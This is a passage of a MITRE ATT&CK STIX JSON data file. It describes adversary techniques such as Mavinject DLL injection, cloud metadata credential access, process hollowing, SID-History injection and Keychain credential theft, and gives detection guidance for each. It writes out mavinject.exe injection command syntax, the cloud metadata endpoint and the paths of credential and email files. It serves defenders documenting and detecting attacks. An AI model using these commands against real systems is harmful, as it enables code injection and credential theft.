22, 2021."}, {"source_name": "Mavinject Functionality Deconstructed", "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e", "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021."}, {"source_name": "Reaqta Mavinject", "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/", "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", "modified": "2022-04-19T17:35:08.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Mavinject", "x_mitre_detection": "Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["IaaS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Praetorian"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", "type": "attack-pattern", "created": "2019-09-04T14:41:32.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1522", "url": "https://attack.mitre.org/techniques/T1522"}, {"source_name": "AWS Instance Metadata API", "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html", "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."}, {"description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse", "source_name": "RedLock Instance Metadata API 2018"}], "modified": "2021-03-08T10:33:01.542Z", "name": "Cloud Instance Metadata API", "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_detection": "* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", "type": "attack-pattern", "created": "2017-05-31T21:31:09.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1093", "url": "https://attack.mitre.org/techniques/T1093"}, {"url": "http://www.autosectools.com/process-hollowing.pdf", "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.", "source_name": "Leitch Hollowing"}, {"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "source_name": "Elastic Process Injection July 2017"}], "modified": "2020-11-10T18:29:30.437Z", "name": "Process Hollowing", "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting", "Whitelisting by file name or path", "Signature-based detection", "Anti-virus"], "x_mitre_permissions_required": ["User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Massimiliano Romano, BT Security"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "created": "2020-03-13T21:13:10.467Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1074.001", "url": "https://attack.mitre.org/techniques/T1074/001"}, {"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)", "modified": "2022-04-21T16:07:10.829Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Local Data Staging", "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Creation", "Windows Registry: Windows Registry Key Modification", "File: File Access", "Command: Command Execution"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-09-14T21:12:48.409Z", "name": "Match Legitimate Name or Location", "description": "Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.\n\nAdversaries may also use the same icon of the file they are trying to mimic.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Yossi Weizman, Azure Defender Research Team", "Vishwas Manral, McAfee"], "x_mitre_deprecated": false, "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Containers"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Metadata", "Image: Image Metadata", "Process: Process Metadata", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Application Control"], "type": "attack-pattern", "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "created": "2020-02-10T20:43:10.239Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/005", "external_id": "T1036.005"}, {"source_name": "Twitter ItsReallyNick Masquerading Update", "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.", "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457"}, {"source_name": "Docker Images", "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021.", "url": "https://docs.docker.com/engine/reference/commandline/images/"}, {"source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.", "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Matt Kelly, @breakersall"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1172", "url": "https://attack.mitre.org/techniques/T1172"}, {"url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf", "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.", "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015"}], "modified": "2020-03-14T23:29:54.083Z", "name": "Domain Fronting", "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1cec9319-743b-4840-bb65-431547bce82a", "type": "attack-pattern", "created": "2020-10-01T01:42:24.974Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1587.003", "url": "https://attack.mitre.org/techniques/T1587/003"}, {"source_name": "Splunk Kovar Certificates 2017", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}], "modified": "2021-10-16T17:32:34.604Z", "name": "Digital Certificates", "description": "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).\n\nAdversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)).\n\nAfter creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content"]}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", "created": "2020-03-02T14:22:24.410Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1565.001", "url": "https://attack.mitre.org/techniques/T1565/001"}, {"source_name": "DOJ Lazarus Sony 2018", "url": "https://www.justice.gov/opa/press-release/file/1092091/download", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."}, {"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "modified": "2022-04-19T23:03:49.461Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Stored Data Manipulation", "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["File: File Modification", "File: File Creation", "File: File Deletion"], "x_mitre_impact_type": ["Integrity"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:48.643Z", "name": "Password Cracking", "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Mohamed Kmal"], "x_mitre_deprecated": false, "x_mitre_detection": "It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Linux", "macOS", "Windows", "Office 365", "Azure AD", "Network"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["User Account: User Account Authentication", "Application Log: Application Log Content"], "type": "attack-pattern", "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d", "created": "2020-02-11T18:38:56.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1110/002", "external_id": "T1110.002"}, {"source_name": "US-CERT-TA18-106A", "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"}, {"source_name": "Wikipedia Password cracking", "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.", "url": "https://en.wikipedia.org/wiki/Password_cracking"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Vincent Le Toux", "Alain Homewood, Insomnia Security"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1178", "url": "https://attack.mitre.org/techniques/T1178"}, {"source_name": "Microsoft SID", "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"}, {"url": "https://msdn.microsoft.com/library/ms679833.aspx", "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", "source_name": "Microsoft SID-History Attribute"}, {"source_name": "Microsoft Well Known SIDs Jun 2017", "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"}, {"source_name": "Microsoft Get-ADUser", "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", "url": "https://technet.microsoft.com/library/ee617241.aspx"}, {"source_name": "AdSecurity SID History Sept 2015", "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", "url": "https://adsecurity.org/?p=1772"}, {"url": "https://msdn.microsoft.com/library/ms677982.aspx", "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", "source_name": "Microsoft DsAddSidHistory"}], "modified": "2020-02-18T18:35:21.493Z", "name": "SID-History Injection", "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", "type": "attack-pattern", "created": "2020-02-19T18:46:06.098Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1114.001", "url": "https://attack.mitre.org/techniques/T1114/001"}, {"source_name": "Outlook File Sizes", "url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/", "description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."}, {"source_name": "Microsoft Outlook Files", "url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790", "description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020."}], "modified": "2020-03-24T17:59:20.983Z", "name": "Local Email Collection", "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Access", "Command: Command Execution"], "x_mitre_permissions_required": ["User"]}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3", "created": "2020-02-12T18:55:24.728Z", "x_mitre_version": "1.1", "external_references": [{"source_name": "mitre-attack", "external_id": "T1555.001", "url": "https://attack.mitre.org/techniques/T1555/001"}, {"source_name": "External to DA, the OS X Way", "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017."}, {"source_name": "Keychain Services Apple", "url": "https://developer.apple.com/documentation/security/keychain_services", "description": "Apple. (n.d.). Keychain Services. Retrieved April 11, 2022."}, {"source_name": "Empire Keychain Decrypt", "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py", "description": "Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022."}, {"source_name": "OSX Keychain Schaumann", "url": "https://www.netmeister.org/blog/keychain-passwords.html", "description": "Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022."}, {"source_name": "Keychain Decryption Passware", "url": "https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption", "description": "Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple\u2019s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption 